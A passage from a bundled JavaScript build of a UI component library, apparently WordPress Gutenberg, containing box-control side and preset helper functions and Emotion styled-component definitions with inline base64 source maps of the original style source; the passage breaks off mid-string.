34454 return values && Object.values(values).filter(
34455 // Switching units when input is empty causes values only
34456 // containing units. This gives false positive on mixed values
34457 // unless filtered.
34458 (value) => !!value && /\d/.test(value)
34459 ).length > 0;
34460 }
34461 function getInitialSide(isLinked, splitOnAxis) {
34462 let initialSide = "all";
34463 if (!isLinked) {
34464 initialSide = splitOnAxis ? "vertical" : "top";
34465 }
34466 return initialSide;
34467 }
34468 function normalizeSides(sides3) {
34469 const filteredSides = [];
34470 if (!sides3?.length) {
34471 return ALL_SIDES;
34472 }
34473 if (sides3.includes("vertical")) {
34474 filteredSides.push(...["top", "bottom"]);
34475 } else if (sides3.includes("horizontal")) {
34476 filteredSides.push(...["left", "right"]);
34477 } else {
34478 const newSides = ALL_SIDES.filter((side) => sides3.includes(side));
34479 filteredSides.push(...newSides);
34480 }
34481 return filteredSides;
34482 }
34483 function applyValueToSides(currentValues, newValue, sides3) {
34484 (0, import_deprecated9.default)("applyValueToSides", {
34485 since: "6.8",
34486 version: "7.0"
34487 });
34488 const newValues = {
34489 ...currentValues
34490 };
34491 if (sides3?.length) {
34492 sides3.forEach((side) => {
34493 if (side === "vertical") {
34494 newValues.top = newValue;
34495 newValues.bottom = newValue;
34496 } else if (side === "horizontal") {
34497 newValues.left = newValue;
34498 newValues.right = newValue;
34499 } else {
34500 newValues[side] = newValue;
34501 }
34502 });
34503 } else {
34504 ALL_SIDES.forEach((side) => newValues[side] = newValue);
34505 }
34506 return newValues;
34507 }
34508 function getAllowedSides(sides3) {
34509 const allowedSides = new Set(!sides3 ? ALL_SIDES : []);
34510 sides3?.forEach((allowedSide) => {
34511 if (allowedSide === "vertical") {
34512 allowedSides.add("top");
34513 allowedSides.add("bottom");
34514 } else if (allowedSide === "horizontal") {
34515 allowedSides.add("right");
34516 allowedSides.add("left");
34517 } else {
34518 allowedSides.add(allowedSide);
34519 }
34520 });
34521 return allowedSides;
34522 }
34523 function isValuePreset(value, presetKey) {
34524 return value.startsWith(`var:preset|${presetKey}|`);
34525 }
34526 function getPresetIndexFromValue(value, presetKey, presets) {
34527 if (!isValuePreset(value, presetKey)) {
34528 return void 0;
34529 }
34530 const match4 = value.match(new RegExp(`^var:preset\\|${presetKey}\\|(.+)$`));
34531 if (!match4) {
34532 return void 0;
34533 }
34534 const slug = match4[1];
34535 const index2 = presets.findIndex((preset) => {
34536 return preset.slug === slug;
34537 });
34538 return index2 !== -1 ? index2 : void 0;
34539 }
34540 function getPresetValueFromIndex(index2, presetKey, presets) {
34541 const preset = presets[index2];
34542 return `var:preset|${presetKey}|${preset.slug}`;
34543 }
34544
34545 // packages/components/build-module/box-control/styles/box-control-icon-styles.mjs
34546 function _EMOTION_STRINGIFIED_CSS_ERROR__15() {
34547 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
34548 }
34549 var Root3 = /* @__PURE__ */ createStyled("span", false ? {
34550 target: "e1j5nr4z8"
34551 } : {
34552 target: "e1j5nr4z8",
34553 label: "Root"
34554 })(false ? {
34555 name: "1w884gc",
34556 styles: "box-sizing:border-box;display:block;width:24px;height:24px;position:relative;padding:4px"
34557 } : {
34558 name: "1w884gc",
34559 styles: "box-sizing:border-box;display:block;width:24px;height:24px;position:relative;padding:4px/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJveC1jb250cm9sLWljb24tc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQU0rQiIsImZpbGUiOiJib3gtY29udHJvbC1pY29uLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHdpZHRoOiAyNHB4O1xuXHRoZWlnaHQ6IDI0cHg7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0cGFkZGluZzogNHB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IFZpZXdib3ggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdGhlaWdodDogMTAwJTtcbmA7XG5cbmNvbnN0IHN0cm9rZUZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiB7IGlzRm9jdXNlZDogYm9vbGVhbiB9ICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0YmFja2dyb3VuZENvbG9yOiAnY3VycmVudENvbG9yJyxcblx0XHRvcGFjaXR5OiBpc0ZvY3VzZWQgPyAxIDogMC4zLFxuXHR9ICk7XG59O1xuXG5jb25zdCBTdHJva2UgPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdCR7IHN0cm9rZUZvY3VzIH07XG5gO1xuXG5jb25zdCBWZXJ0aWNhbFN0cm9rZSA9IHN0eWxlZCggU3Ryb2tlIClgXG5cdGJvdHRvbTogM3B4O1xuXHR0b3A6IDNweDtcblx0d2lkdGg6IDJweDtcbmA7XG5cbmNvbnN0IEhvcml6b250YWxTdHJva2UgPSBzdHlsZWQoIFN0cm9rZSApYFxuXHRoZWlnaHQ6IDJweDtcblx0bGVmdDogM3B4O1xuXHRyaWdodDogM3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IFRvcFN0cm9rZSA9IHN0eWxlZCggSG9yaXpvbnRhbFN0cm9rZSApYFxuXHR0b3A6IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgUmlnaHRTdHJva2UgPSBzdHlsZWQoIFZlcnRpY2FsU3Ryb2tlIClgXG5cdHJpZ2h0OiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IEJvdHRvbVN0cm9rZSA9IHN0eWxlZCggSG9yaXpvbnRhbFN0cm9rZSApYFxuXHRib3R0b206IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgTGVmdFN0cm9rZSA9IHN0eWxlZCggVmVydGljYWxTdHJva2UgKWBcblx0bGVmdDogMDtcbmA7XG4iXX0= */",
34560 toString: _EMOTION_STRINGIFIED_CSS_ERROR__15
34561 });
34562 var Viewbox = /* @__PURE__ */ createStyled("span", false ? {
34563 target: "e1j5nr4z7"
34564 } : {
34565 target: "e1j5nr4z7",
34566 label: "Viewbox"
34567 })(false ? {
34568 name: "i6vjox",
34569 styles: "box-sizing:border-box;display:block;position:relative;width:100%;height:100%"
34570 } : {
34571 name: "i6vjox",
34572 styles: "box-sizing:border-box;display:block;position:relative;width:100%;height:100%/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJveC1jb250cm9sLWljb24tc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWVrQyIsImZpbGUiOiJib3gtY29udHJvbC1pY29uLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHdpZHRoOiAyNHB4O1xuXHRoZWlnaHQ6IDI0cHg7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0cGFkZGluZzogNHB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IFZpZXdib3ggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdGhlaWdodDogMTAwJTtcbmA7XG5cbmNvbnN0IHN0cm9rZUZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiB7IGlzRm9jdXNlZDogYm9vbGVhbiB9ICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0YmFja2dyb3VuZENvbG9yOiAnY3VycmVudENvbG9yJyxcblx0XHRvcGFjaXR5OiBpc0ZvY3VzZWQgPyAxIDogMC4zLFxuXHR9ICk7XG59O1xuXG5jb25zdCBTdHJva2UgPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdCR7IHN0cm9rZUZvY3VzIH07XG5gO1xuXG5jb25zdCBWZXJ0aWNhbFN0cm9rZSA9IHN0eWxlZCggU3Ryb2tlIClgXG5cdGJvdHRvbTogM3B4O1xuXHR0b3A6IDNweDtcblx0d2lkdGg6IDJweDtcbmA7XG5cbmNvbnN0IEhvcml6b250YWxTdHJva2UgPSBzdHlsZWQoIFN0cm9rZSApYFxuXHRoZWlnaHQ6IDJweDtcblx0bGVmdDogM3B4O1xuXHRyaWdodDogM3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IFRvcFN0cm9rZSA9IHN0eWxlZCggSG9yaXpvbnRhbFN0cm9rZSApYFxuXHR0b3A6IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgUmlnaHRTdHJva2UgPSBzdHlsZWQoIFZlcnRpY2FsU3Ryb2tlIClgXG5cdHJpZ2h0OiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IEJvdHRvbVN0cm9rZSA9IHN0eWxlZCggSG9yaXpvbnRhbFN0cm9rZSApYFxuXHRib3R0b206IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgTGVmdFN0cm9rZSA9IHN0eWxlZCggVmVydGljYWxTdHJva2UgKWBcblx0bGVmdDogMDtcbmA7XG4iXX0= */",
34573 toString: _EMOTION_STRINGIFIED_CSS_ERROR__15
34574 });
34575 var strokeFocus = ({
34576 isFocused
34577 }) => {
34578 return /* @__PURE__ */ css({
34579 backgroundColor: "currentColor",
34580 opacity: isFocused ? 1 : 0.3
34581 }, false ? "" : ";label:strokeFocus;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJveC1jb250cm9sLWljb24tc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQXdCUSIsImZpbGUiOiJib3gtY29udHJvbC1pY29uLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHdpZHRoOiAyNHB4O1xuXHRoZWlnaHQ6IDI0cHg7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0cGFkZGluZzogNHB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IFZpZXdib3ggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdGhlaWdodDogMTAwJTtcbmA7XG5cbmNvbnN0IHN0cm9rZUZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiB7IGlzRm9jdXNlZDogYm9vbGVhbiB9ICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0YmFja2dyb3VuZENvbG9yOiAnY3VycmVudENvbG9yJyxcblx0XHRvcGFjaXR5OiBpc0ZvY3VzZWQgPyAxIDogMC4zLFxuXHR9ICk7XG59O1xuXG5jb25zdCBTdHJva2UgPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdCR7IHN0cm9rZUZvY3VzIH07XG5gO1xuXG5jb25zdCBWZXJ0aWNhbFN0cm9rZSA9IHN0eWxlZCggU3Ryb2tlIClgXG5cdGJvdHRvbTogM3B4O1xuXHR0b3A6IDNweDtcblx0d2lkdGg6IDJweDtcbmA7XG5cbmNvbnN0IEhvcml6b250YWxTdHJva2UgPSBzdHlsZWQoIFN0cm9rZSApYFxuXHRoZWlnaHQ6IDJweDtcblx0bGVmdDogM3B4O1xuXHRyaWdodDogM3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IFRvcFN0cm9rZSA9IHN0eWxlZCggSG9yaXpvbnRhbFN0cm9rZSApYFxuXHR0b3A6IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgUmlnaHRTdHJva2UgPSBzdHlsZWQoIFZlcnRpY2FsU3Ryb2tlIClgXG5cdHJpZ2h0OiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IEJvdHRvbVN0cm9rZSA9IHN0eWxlZCggSG9yaXpvbnRhbFN0cm9rZSApYFxuXHRib3R0b206IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgTGVmdFN0cm9rZSA9IHN0eWxlZCggVmVydGljYWxTdHJva2UgKWBcblx0bGVmdDogMDtcbmA7XG4iXX0= */");
34582 };
34583 var Stroke = /* @__PURE__ */ createStyled("span", false ? {
34584 target: "e1j5nr4z6"
34585 } : {
34586 target: "e1j5nr4z6",
34587 label: "Stroke"
34588 })("box-sizing:border-box;display:block;pointer-events:none;position:absolute;", strokeFocus, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJveC1jb250cm9sLWljb24tc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQThCMEIiLCJmaWxlIjoiYm94LWNvbnRyb2wtaWNvbi1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbmV4cG9ydCBjb25zdCBSb290ID0gc3R5bGVkLnNwYW5gXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHR3aWR0aDogMjRweDtcblx0aGVpZ2h0OiAyNHB4O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHBhZGRpbmc6IDRweDtcbmA7XG5cbmV4cG9ydCBjb25zdCBWaWV3Ym94ID0gc3R5bGVkLnNwYW5gXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRoZWlnaHQ6IDEwMCU7XG5gO1xuXG5jb25zdCBzdHJva2VGb2N1cyA9ICggeyBpc0ZvY3VzZWQgfTogeyBpc0ZvY3VzZWQ6IGJvb2xlYW4gfSApID0+IHtcblx0cmV0dXJuIGNzcygge1xuXHRcdGJhY2tncm91bmRDb2xvcjogJ2N1cnJlbnRDb2xvcicsXG5cdFx0b3BhY2l0eTogaXNGb2N1c2VkID8gMSA6IDAuMyxcblx0fSApO1xufTtcblxuY29uc3QgU3Ryb2tlID0gc3R5bGVkLnNwYW5gXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHQkeyBzdHJva2VGb2N1cyB9O1xuYDtcblxuY29uc3QgVmVydGljYWxTdHJva2UgPSBzdHlsZWQoIFN0cm9rZSApYFxuXHRib3R0b206IDNweDtcblx0dG9wOiAzcHg7XG5cdHdpZHRoOiAycHg7XG5gO1xuXG5jb25zdCBIb3Jpem9udGFsU3Ryb2tlID0gc3R5bGVkKCBTdHJva2UgKWBcblx0aGVpZ2h0OiAycHg7XG5cdGxlZnQ6IDNweDtcblx0cmlnaHQ6IDNweDtcbmA7XG5cbmV4cG9ydCBjb25zdCBUb3BTdHJva2UgPSBzdHlsZWQoIEhvcml6b250YWxTdHJva2UgKWBcblx0dG9wOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IFJpZ2h0U3Ryb2tlID0gc3R5bGVkKCBWZXJ0aWNhbFN0cm9rZSApYFxuXHRyaWdodDogMDtcbmA7XG5cbmV4cG9ydCBjb25zdCBCb3R0b21TdHJva2UgPSBzdHlsZWQoIEhvcml6b250YWxTdHJva2UgKWBcblx0Ym90dG9tOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IExlZnRTdHJva2UgPSBzdHlsZWQoIFZlcnRpY2FsU3Ryb2tlIClgXG5cdGxlZnQ6IDA7XG5gO1xuIl19 */"));
34589 var VerticalStroke = /* @__PURE__ */ createStyled(Stroke, false ? {
34590 target: "e1j5nr4z5"
34591 } : {
34592 target: "e1j5nr4z5",
34593 label: "VerticalStroke"
34594 })(false ? {
34595 name: "1k2w39q",
34596 styles: "bottom:3px;top:3px;width:2px"
34597 } : {
34598 name: "1k2w39q",
34599 styles: "bottom:3px;top:3px;width:2px/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJveC1jb250cm9sLWljb24tc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQXNDdUMiLCJmaWxlIjoiYm94LWNvbnRyb2wtaWNvbi1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbmV4cG9ydCBjb25zdCBSb290ID0gc3R5bGVkLnNwYW5gXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHR3aWR0aDogMjRweDtcblx0aGVpZ2h0OiAyNHB4O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHBhZGRpbmc6IDRweDtcbmA7XG5cbmV4cG9ydCBjb25zdCBWaWV3Ym94ID0gc3R5bGVkLnNwYW5gXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRoZWlnaHQ6IDEwMCU7XG5gO1xuXG5jb25zdCBzdHJva2VGb2N1cyA9ICggeyBpc0ZvY3VzZWQgfTogeyBpc0ZvY3VzZWQ6IGJvb2xlYW4gfSApID0+IHtcblx0cmV0dXJuIGNzcygge1xuXHRcdGJhY2tncm91bmRDb2xvcjogJ2N1cnJlbnRDb2xvcicsXG5cdFx0b3BhY2l0eTogaXNGb2N1c2VkID8gMSA6IDAuMyxcblx0fSApO1xufTtcblxuY29uc3QgU3Ryb2tlID0gc3R5bGVkLnNwYW5gXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHQkeyBzdHJva2VGb2N1cyB9O1xuYDtcblxuY29uc3QgVmVydGljYWxTdHJva2UgPSBzdHlsZWQoIFN0cm9rZSApYFxuXHRib3R0b206IDNweDtcblx0dG9wOiAzcHg7XG5cdHdpZHRoOiAycHg7XG5gO1xuXG5jb25zdCBIb3Jpem9udGFsU3Ryb2tlID0gc3R5bGVkKCBTdHJva2UgKWBcblx0aGVpZ2h0OiAycHg7XG5cdGxlZnQ6IDNweDtcblx0cmlnaHQ6IDNweDtcbmA7XG5cbmV4cG9ydCBjb25zdCBUb3BTdHJva2UgPSBzdHlsZWQoIEhvcml6b250YWxTdHJva2UgKWBcblx0dG9wOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IFJpZ2h0U3Ryb2tlID0gc3R5bGVkKCBWZXJ0aWNhbFN0cm9rZSApYFxuXHRyaWdodDogMDtcbmA7XG5cbmV4cG9ydCBjb25zdCBCb3R0b21TdHJva2UgPSBzdHlsZWQoIEhvcml6b250YWxTdHJva2UgKWBcblx0Ym90dG9tOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IExlZnRTdHJva2UgPSBzdHlsZWQoIFZlcnRpY2FsU3Ryb2tlIClgXG5cdGxlZnQ6IDA7XG5gO1xuIl19 */",
34600 toString: _EMOTION_STRINGIFIED_CSS_ERROR__15
34601 });
34602 var HorizontalStroke = /* @__PURE__ */ createStyled(Stroke, false ? {
34603 target: "e1j5nr4z4"
34604 } : {
34605 target: "e1j5nr4z4",
34606 label: "HorizontalStroke"
34607 })(false ? {
34608 name: "1q9b07k",
34609 styles: "height:2px;left:3px;right:3px"
34610 } : {
34611 name: "1q9b07k",
34612 styles: "height:2px;left:3px;right:3px/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJveC1jb250cm9sLWljb24tc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQTRDeUMiLCJmaWxlIjoiYm94LWNvbnRyb2wtaWNvbi1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbmV4cG9ydCBjb25zdCBSb290ID0gc3R5bGVkLnNwYW5gXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHR3aWR0aDogMjRweDtcblx0aGVpZ2h0OiAyNHB4O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHBhZGRpbmc6IDRweDtcbmA7XG5cbmV4cG9ydCBjb25zdCBWaWV3Ym94ID0gc3R5bGVkLnNwYW5gXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRoZWlnaHQ6IDEwMCU7XG5gO1xuXG5jb25zdCBzdHJva2VGb2N1cyA9ICggeyBpc0ZvY3VzZWQgfTogeyBpc0ZvY3VzZWQ6IGJvb2xlYW4gfSApID0+IHtcblx0cmV0dXJuIGNzcygge1xuXHRcdGJhY2tncm91bmRDb2xvcjogJ2N1cnJlbnRDb2xvcicsXG5cdFx0b3BhY2l0eTogaXNGb2N1c2VkID8gMSA6IDAuMyxcblx0fSApO1xufTtcblxuY29uc3QgU3Ryb2tlID0gc3R5bGVkLnNwYW5gXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHQkeyBzdHJva2VGb2N1cyB9O1xuYDtcblxuY29uc3QgVmVydGljYWxTdHJva2UgPSBzdHlsZWQoIFN0cm9rZSApYFxuXHRib3R0b206IDNweDtcblx0dG9wOiAzcHg7XG5cdHdpZHRoOiAycHg7XG5gO1xuXG5jb25zdCBIb3Jpem9udGFsU3Ryb2tlID0gc3R5bGVkKCBTdHJva2UgKWBcblx0aGVpZ2h0OiAycHg7XG5cdGxlZnQ6IDNweDtcblx0cmlnaHQ6IDNweDtcbmA7XG5cbmV4cG9ydCBjb25zdCBUb3BTdHJva2UgPSBzdHlsZWQoIEhvcml6b250YWxTdHJva2UgKWBcblx0dG9wOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IFJpZ2h0U3Ryb2tlID0gc3R5bGVkKCBWZXJ0aWNhbFN0cm9rZSApYFxuXHRyaWdodDogMDtcbmA7XG5cbmV4cG9ydCBjb25zdCBCb3R0b21TdHJva2UgPSBzdHlsZWQoIEhvcml6b250YWxTdHJva2UgKWBcblx0Ym90dG9tOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IExlZnRTdHJva2UgPSBzdHlsZWQoIFZlcnRpY2FsU3Ryb2tlIClgXG5cdGxlZnQ6IDA7XG5gO1xuIl19 */",
34613 toString: _EMOTION_STRINGIFIED_CSS_ERROR__15
34614 });
34615 var TopStroke = /* @__PURE__ */ createStyled(HorizontalStroke, false ? {
34616 target: "e1j5nr4z3"
34617 } : {
34618 target: "e1j5nr4z3",
34619 label: "TopStroke"
34620 })(false ? {
34621 name: "abcix4",
34622 styles: "top:0"
34623 } : {
34624 name: "abcix4",
34625 styles: "top:0/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJveC1jb250cm9sLWljb24tc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWtEbUQiLCJmaWxlIjoiYm94LWNvbnRyb2wtaWNvbi1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbmV4cG9ydCBjb25zdCBSb290ID0gc3R5bGVkLnNwYW5gXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHR3aWR0aDogMjRweDtcblx0aGVpZ2h0OiAyNHB4O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHBhZGRpbmc6IDRweDtcbmA7XG5cbmV4cG9ydCBjb25zdCBWaWV3Ym94ID0gc3R5bGVkLnNwYW5gXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRoZWlnaHQ6IDEwMCU7XG5gO1xuXG5jb25zdCBzdHJva2VGb2N1cyA9ICggeyBpc0ZvY3VzZWQgfTogeyBpc0ZvY3VzZWQ6IGJvb2xlYW4gfSApID0+IHtcblx0cmV0dXJuIGNzcygge1xuXHRcdGJhY2tncm91bmRDb2xvcjogJ2N1cnJlbnRDb2xvcicsXG5cdFx0b3BhY2l0eTogaXNGb2N1c2VkID8gMSA6IDAuMyxcblx0fSApO1xufTtcblxuY29uc3QgU3Ryb2tlID0gc3R5bGVkLnNwYW5gXG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHQkeyBzdHJva2VGb2N1cyB9O1xuYDtcblxuY29uc3QgVmVydGljYWxTdHJva2UgPSBzdHlsZWQoIFN0cm9rZSApYFxuXHRib3R0b206IDNweDtcblx0dG9wOiAzcHg7XG5cdHdpZHRoOiAycHg7XG5gO1xuXG5jb25zdCBIb3Jpem9udGFsU3Ryb2tlID0gc3R5bGVkKCBTdHJva2UgKWBcblx0aGVpZ2h0OiAycHg7XG5cdGxlZnQ6IDNweDtcblx0cmlnaHQ6IDNweDtcbmA7XG5cbmV4cG9ydCBjb25zdCBUb3BTdHJva2UgPSBzdHlsZWQoIEhvcml6b250YWxTdHJva2UgKWBcblx0dG9wOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IFJpZ2h0U3Ryb2tlID0gc3R5bGVkKCBWZXJ0aWNhbFN0cm9rZSApYFxuXHRyaWdodDogMDtcbmA7XG5cbmV4cG9ydCBjb25zdCBCb3R0b21TdHJva2UgPSBzdHlsZWQoIEhvcml6b250YWxTdHJva2UgKWBcblx0Ym90dG9tOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IExlZnRTdH